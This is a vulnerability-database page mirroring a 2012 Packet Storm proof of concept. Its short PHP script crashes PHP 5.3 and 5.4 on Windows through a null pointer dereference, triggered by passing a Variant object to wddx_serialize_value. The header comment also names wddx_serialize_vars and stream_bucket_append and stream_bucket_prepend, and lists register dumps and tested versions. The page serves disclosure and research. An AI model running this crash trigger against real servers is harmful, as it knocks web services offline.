Lucene search
K

PHP 5.4.3 Null Pointer Dereference

🗓️ 20 May 2012 00:00:00Reported by condisType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 26 Views

PHP 5.4.3 Null Pointer Dereference vulnerability in wddx_serialize_value and wddx_serialize_vars function

Code
`<?php  
  
/*  
  
PHP <= 5.4.3 wddx_serialize_* / stream_bucket_* Variant Object Null Ptr Derefernce  
Author : condis  
Date : 10.04.2012 AD  
Website : http://cond.psychodela.pl  
  
----  
  
Download : http://php.net/downloads.php  
  
Tested on:  
  
PHP 5.3.8 + Windows XP SP3 Professional PL  
PHP 5.3.10 + Windows XP SP3 Professional PL  
PHP 5.4.0 + Windows XP SP3 Professional PL  
PHP 5.4.3 + Windows XP SP3 Professional PL  
  
Description:  
  
wddx_serialize_value and wddx_serialize_vars functions fails to handle Variant  
object when it is given as a first argument.  
  
Registers:  
  
EAX 00000000  
ECX 1056AAE8 php5ts.1056AAE8  
EDX 100EFCE0 php5ts.100EFCE0  
EBX 01032AB0  
ESP 00C0FAE0  
EBP 00000000  
ESI 0121E478  
EDI 0121CB50  
EIP 1028F22E php5ts.1028F22E  
  
Crash:  
  
1028F22E 8A45 25 MOV AL,BYTE PTR SS:[EBP+25]  
  
Situation looks pretty much the same for both wddx_serialize_vars and  
wddx_serialize_value. Also functions stream_bucket_prepend and stream_bucket_append  
have some problems with handling Variant object when given as a second argument:  
  
stream_bucket_append(1, new Variant(1));  
stream_bucket_prepend(1, new Variant(1));  
  
PS : Variant object is only available in PHP for Windows OS and it was implemented  
in PHP > 4.1.0 and PHP 5.  
  
For more details check : http://php.net/manual/en/class.variant.php  
  
PS2: After running this via webserver my Apache wasn't able to handle requests  
anymore and I had to restart him :)  
  
kthxbye  
  
*/  
  
wddx_serialize_value(new Variant(666));  
  
?>  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation